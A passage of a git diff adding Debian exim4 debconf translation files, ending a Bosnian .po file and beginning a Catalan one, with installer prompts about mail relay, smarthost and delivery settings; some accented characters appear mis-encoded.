+#. Description +#: ../exim4-config.templates:6001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Molim unesite spisak razdvojen taÄka-zarezom opsega IP adresa za koje ovaj " +"sistem automatski isporuÄivati poÅ¡tu, funkcioniÅ¡ući kao smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Trebate koristiti standarndi adresa/prefiks format (npr. 194.222.242.0/24 " +"ili 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Ako ovaj sistem neće biti smarthost bilo kojeg raÄunara, ostavite ovo polje " +"prazno." + +# Type: string +# Description +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Vidljivi domain name za lokalne korisnike:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "Ova opcija služi za prikrivanje lokalnog naziva poÅ¡tanskog" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP adresa ili naziv raÄunara odlaznog smarthosta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Molim unesite IP adresu ili host name mail servera kojeg će ovaj sistem " +"koristiti kao odlaznog smarthosta. Ako smarthost samo prihvata vaÅ¡u poÅ¡tu na " +"portu razliÄitom od TCP/25, dodajte dvije dvotaÄke i broj porta (na primjer, " +"smarthos.example::587 ili 192.168.254.254:2525). DvotaÄke u IPv6 adresama " +"trebaju biti uduplane." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Ako smarthost zahtijeva autentikaciju, molim pogledajte /usr/share/doc/exim4-" +"base/README.Debian.gz datoteku za napomene o podeÅ¡avanju SMTP autentikacije." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Primalac poÅ¡te za root i postmaster korisnike:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"PoÅ¡ta za \"postmaster\", \"root\" i druge sistemske naloge treba biti " +"preusmjeravana na korisniÄki nalog stvarnog sistemskog administratora." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Ako je ovo polje prazno, takva poÅ¡ta će biti spremana u /var/mail/mail, Å¡to " +"se ne preporuÄuje." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Primijetite da se postmasterova poÅ¡ta treba Äitati na onom sistemu na koji " +"je upućena, a ne da se prosljeÄ‘uje drugdje, tako da (barem jedan) od " +"korisnika navedenih ovdje ne bi trebali preusmjeravati svoju poÅ¡tu s ove " +"maÅ¡ine. Koristite \"real-\" prefix kako bi forsirali lokalnu isporuku." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "Multiple user names need to be separated by spaces." +msgstr "ViÅ¡e korisniÄkih imena treba odvojiti razmacima." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP adrese koje će se osluÅ¡kivati za dolazne SMTP konekcije:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Molim unesite spisak razdvojen taÄka-zarezom IP adresa. Exim-ov SMTP " +"osluÅ¡kivaÄ daemon će osluÅ¡kivati sve IP adrese navedene ovdje." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Ako ostavite ovo polje prazno, Exim će osluÅ¡kivati za konekcije na svim " +"dostupnim mrežnim interfejsima." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Ako ovaj sistem samo direktno prima poÅ¡tu preko lokalnih servisa poput " +"fetchmail-a ili vaÅ¡eg programa za poÅ¡tu (MUA) na localhostu (i ne preko " +"drugih raÄunara), savjetuje se zabranai vanjskih konekcije na lokalni Exim " +"(mail server). Ovo se može postići unoÅ¡tenjem 127.0.0.1 ovdje. Ovo će " +"iskljuÄiti osluÅ¡kivanje na javnim mrežnim interfejsima." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Držati broj DNS upita minimalnim (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"U normalnom modu rada Exim pravi DNS pretrage prilikom pokretanja i " +"prilikom slanja ili primanja pisama. One se rade u svrhu bilježenja i da bi " +"zadržao manjim broj stalnih postavki u konfiguracionoj datoteci." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Ako ovaj sistem nema cijelo vrijeme dostupan DNS full service resolver (na " +"primjer, koristi dial-up internet pristup pomoću dial-on-demand), ovo može " +"imati neželjene posljedice. Na primjer, prilikom pokretanja Exim-a ili " +"pokretanja rednog slanja poruka (Äak i bez poruka na Äekanju) može doći do " +"skupog dial-up raÄuna." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Ova opcija se treba odabrati ako ovaj sistem koristi Dial-on-Demand. Ako je " +"uvijek na internetu, ova opcija treba biti iskljuÄena." + +# Type: select +# Description +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "PodeÅ¡avanje mail servera" + +# Type: boolean +# Description +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Podijeliti konfiguraciju na manje datoteke?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian exim4 paketi mogu koristiti \"nepodijeljenu konfiguraciju\", jednu " +"monolitnu datoteku (/etc/exim4/exim4.conf.template) ili \"podijeljenu " +"konfiguraciju\", gdje su Exim konfiguracione datoteke sastavljene od 50 " +"manjih datoteka u /etc/exim4/conf.d/ direktoriju." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Nepodijeljena konfiguracija je bolja za veće izmjene i uopÅ¡e stabilnija, dok " +"podijeljena konfiguracija pruža lahak naÄin za pravljenje manjih izmjena ali " +"je osjetljivija i može se pokvariti ako se nepažljivo izmjenjuje." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Detaljnija diskusija vezana za podijeljenu i nepodijeljenu konfiguraciju se " +"može pronaći u /usr/share/doc/exim4-base/README.Debian.gz." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Prikriti lokalni naziv poÅ¡tanskog sistema u odlaznoj poÅ¡ti?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +#, fuzzy +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Zaglavlja odlaznih pisama se mogu ponovo napisana kako bi izgledala kao da " +"su napravljena na drugom sistemu. Ako se izabere ova opcija \"${mailname}\", " +"\"localhost\" i \"${dc_other_hostnames}\" u Od, Odgovori na, PoÅ¡iljalac i " +"Povratni put bivaju ponovo napisani." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox format u /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir format u home direktoriju" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Metod isporuke za lokalnu poÅ¡tu:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim može spremati lokalno isporuÄenu poÅ¡tu u razliÄitim formatima. NajÄešće " +"koriÅ¡teni su mbox i Maildir. mbox koristi jednu datoteku za kompletan mail " +"direktorij koji je smjeÅ¡ten u /var/mail. S Maildir formatom svaka " +"pojedinaÄna poruka se smjeÅ¡ta u zasebnu datoteku u ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Molim primijetite da većina mail halata u Debianu podrazumijevano oÄekuje da " +"metod lokalne isporuke bude mbox formata." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "Premjestiti eisporuÄenu poÅ¡tu iz exim(v3) u exim4 spool direktorij?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Postoje neisporuÄena pisma u exim(v3) (ili exim-tls(v3)) spool " +#~ "direktoriju /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Odabiranje ove opcije će premjestiti ove poruke u exim4 spool (/var/spool/" +#~ "exim4/input/) odakle će njima upravljati exim4." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Ovo radi samo u jedno smjeru: Exim4 može upravljati exim(v3) spool-om ali " +#~ "ne i obrnuto. Trebate premjestiti pisma samo ako se ne planirate vratiti " +#~ "na exim(v3). U suprotnom, poruke se trebaju ruÄno premjestiti nekad " +#~ "kasnije." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Ako ostavite ovo prazno, Exim neće raditi lokalnu isporuku." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Obratite pažnju da ovo radi samo jednosmjerno, exim4 može upravljati sa " +#~ "exim(v3) spool direktorijem ali ne i obrnuto." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Premjestite poÅ¡tu samo ako se ne planirate vratiti na exim(v3), u " +#~ "suprotnom poÅ¡ta ne bi trebala biti premjeÅ¡tana sada nego ruÄno nakon Å¡to " +#~ "pretvorite vaÅ¡e postavke." + +# Type: string +# Description +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Ako ih ima joÅ¡, unesite ih ovdje razdvojene dvotaÄkama. Ostavite prazno " +#~ "ako nema." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "Molim ovdje unesite domene za koje prihvatate isporuÄivati poÅ¡tu." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "To su domene za koje ste spremni prihvatati poÅ¡tu od bilo kuda sa " +#~ "Interneta. Nemojte stavljati lokalne domene ovdje." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Domene koje ovdje unesete trebate razdvojiti dvotaÄkama. Možete koristiti " +#~ "pomoćne znakove." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "PoÅ¡to ste ukljuÄili prikrivanje naziva lokalnog poÅ¡tanskog sistema u " +#~ "odlaznoj poÅ¡ti, morate navesti domain name koji će se koristiti za poÅ¡tu " +#~ "lokalnih korisnika; obiÄno je to maÅ¡ina na kojoj normalno primate vaÅ¡u " +#~ "poÅ¡tu." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Gdje će vaÅ¡i korisnici Äitati svoju poÅ¡tu?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "MaÅ¡ina koja upravlja odlaznom poÅ¡tom" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "Unesite hostname maÅ¡ine na koju se Å¡alje odlazna poÅ¡ta." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "UkljuÄite ovu osobinu ako koristite Dial-on-Demand; u suprotnom, " +#~ "iskljuÄite je." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Odaberite tip konfiguracije koja najbolje odgovara vaÅ¡im potrebama." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Ako niste sigurni, onda ne biste trebali podijeliti konfiguraciju." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "ruÄno pretvoriti iz ruÄno podeÅ¡ene Exim v3 konfiguracije" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "RuÄno podesiti Exim4?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Vi ste naveli da imate ruÄno podeÅ¡enu Exim 3 konfiguraciju. Kako biste ju " +#~ "pretvorili na Exim 4, možete koristiti exim_convert4r4(8) alatku nakon " +#~ "instalacije. Pogledajte/usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "i /usr/share/doc/exim4-base/README.Debian.gz datoteke!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Dok se vaÅ¡ poÅ¡tanski sistem ne podesi, biti će neispravan i neće se moći " +#~ "koristiti." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "VaÅ¡ \"mail name\" je hostname dio adrese koji će biti prikazan na " +#~ "odlaznim news i mail porukama (iza korisniÄkog imena i znaka @) ukoliko " +#~ "nije skriveno prepisivanjem." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Molim unesite ovdje mreže lokalnih maÅ¡ina za koje prihvatate isporuÄivati " +#~ "poÅ¡tu." diff --git a/debian/po/ca.po b/debian/po/ca.po new file mode 100644 index 0000000..f3cc195 --- /dev/null +++ b/debian/po/ca.po @@ -0,0 +1,826 @@ +# exim4 (debconf) translation to Catalan. +# Copyright © 2004, 2005, 2006, 2008 Free Software Foundation, Inc. +# Aleix Badia i Bosch <a.badia@callusdigital.org>, 2004, 2005. +# Jordi Mallach <jordi@debian.org>, 2004, 2006, 2008. +# Jordà Polo <jorda@ettin.org>, 2008. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4 debconf\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-09-10 19:59+0200\n" +"Last-Translator: Jordi Mallach <jordi@debian.org>\n" +"Language-Team: Catalan <debian-l10n-catalan@lists.debian.org>\n" +"Language: ca\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "" +"Voleu suprimir els missatges no enviats del directori de gestió de cues?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Hi ha missatges de correu al directori de gestió de cues de l'Exim /var/" +"spool/exim4/input/ que encara no s'han enviat. Si elimineu l'Exim, romandran " +"sense enviar fins que es reinstal·le l'Exim." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Si no es tria aquesta opció, es mantindrà el directori de gestió de cues, " +"permetent que els missatges a la cua s'envien en el futur després de " +"reinstal·lar l'Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reconfigureu el paquet exim4-config en comptes d'aquest paquet" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 té la seua configuració en un paquet dedicat, exim4-config. Si voleu " +"reconfigurar l'Exim4, utilitzeu «dpkg-reconfigure exim4-config»." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "lloc d'internet; s'envia i es rep directament utilitzant SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "s'envia a través del smarthost i es rep via SMTP o fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "s'envia a través de l'smarthost i no hi ha correu local" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "només enviament local; no està en una xarxa" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "no el configuris ara mateix" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Configuració del correu de tipus general:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Seleccioneu el tipus de configuració que s'ajuste a les vostres necessitats." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Els sistemes amb adreces IP dinà miques, inclosos els sistemes de marcatge " +"directe, probablement s'haurien de configurar per enviar el correu de " +"sortida a un altre ordinador anomenat «smarthost», per al seu lliurament " +"perquè molts sistemes que reben correu a Internet bloquen el correu entrant " +"des d'adreces IP dinà miques, com a protecció contra el spam." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Un sistema amb una adreça IP dinà mica pot rebre el seu correu, o es pot " +"inhabilitar el lliurament local completament (excepte el correu per al root " +"i el postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Esteu segur de deixar desconfigurat el sistema de correu?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Fins que el sistema de correu no estigui configurat no funcionarà " +"correctament i no es podrà utilitzar. Es pot configurar posteriorment, " +"manualment o executant l'ordre «dpkg-reconfigure exim4-config» com a " +"superusuari." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nom del correu del sistema:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"El «nom de correu» és el nom del domini que s'utilitza per a «qualificar» " +"les adreces de correu sense un nom de domini." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Aquest nom també serà utilitzat per altres programes. Hauria de ser el nom " +"únic, complet del domini (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Per tant, si una adreça de correu a l'ordinador local és foo@exemple.org," +"aleshores el valor correcte per a aquesta opció seria exemple.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Aquest nom no apareixerà a les lÃnies From: del correu de sortida si " +"s'habilita la reescriptura." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "D'altres destinacions per a les quals s'accepta correu:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Introduïu una llista, separada per punts i coma, de dominis de destinataris " +"que s'haurien de considerar destà final. Aquests dominis s'anomenen «dominis " +"locals». El nom local (${fqdn}) i «localhost» sempre s'afegeixen a la llista " +"subministrada aquÃ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Per defecte tots els dominis es tracten igual. Si tant a.exemple i b.exemple " +"són dominis locals, compte@a.exemple i compte@b.exemple es lliuraran a la " +"mateixa destinació final. Si voleu tractar diferents dominis de manera " +"diferent, posteriorment haureu d'editar els fitxers de configuració." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Dominis del qual és repetidor:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Introduïu una llista, separada per punts i coma, dels dominis de destinació " +"pels quals aquest sistema farà de repetidor, com ara un MX de reposició o " +"una passarel·la de correu. Això vol dir que aquest sistema acceptarà correu " +"per a aquest correu des de qualsevol lloc d'Internet i el lliurarà d'acord " +"amb les regles de lliurament local." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "No mencioneu els dominis locals acÃ. Es poden utilitzar comodins." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Ordinadors dels quals sou repetidor:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Introduïu una llista separada per punts i coma dels intervals d'adreces IP " +"per a les quals aquest sistema farà de repetidor de correu " +"incondicionalment, funcionant com a «smarthost»." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"HaurÃeu d'utilitzar el format adreça/longitud està ndard (ex. " +"194.222.242.0/24 o 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Si aquest sistema no hauria de ser un «smarthost» per a cap altre servidor, " +"deixeu aquesta llista en blanc." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nom del domini visible pels usuaris locals:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"S'ha habilitat l'opció per a amagar el nom del correu local al correu de " +"sortida. Per això, és necessari especificar el nom del domini que aquest " +"sistema ha d'utilitzar com a part de domini de les adreces dels usuaris " +"locals." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Adreça IP o nom del servidor del «smarthost» de sortida:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Introduïu les adreces IP o el nom del servidor d'un servidor de correu que " +"aquest sistema ha d'utilitzar com a «smarthost» de sortida. Si el " +"«smarthost» només accepta el vostre correu en un port diferent al TCP/25, " +"afegiu «:» dues vegades i el número del port (per exemple smarthost." +"exemple::587 o 192.168.254.254::2525). Els dos punts a les adreces IPv6 " +"s'han de duplicar." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Si el «smarthost» requereix autenticació, vegeu la informació sobre la " +"configuració de l'autenticació de l'SMTP, als 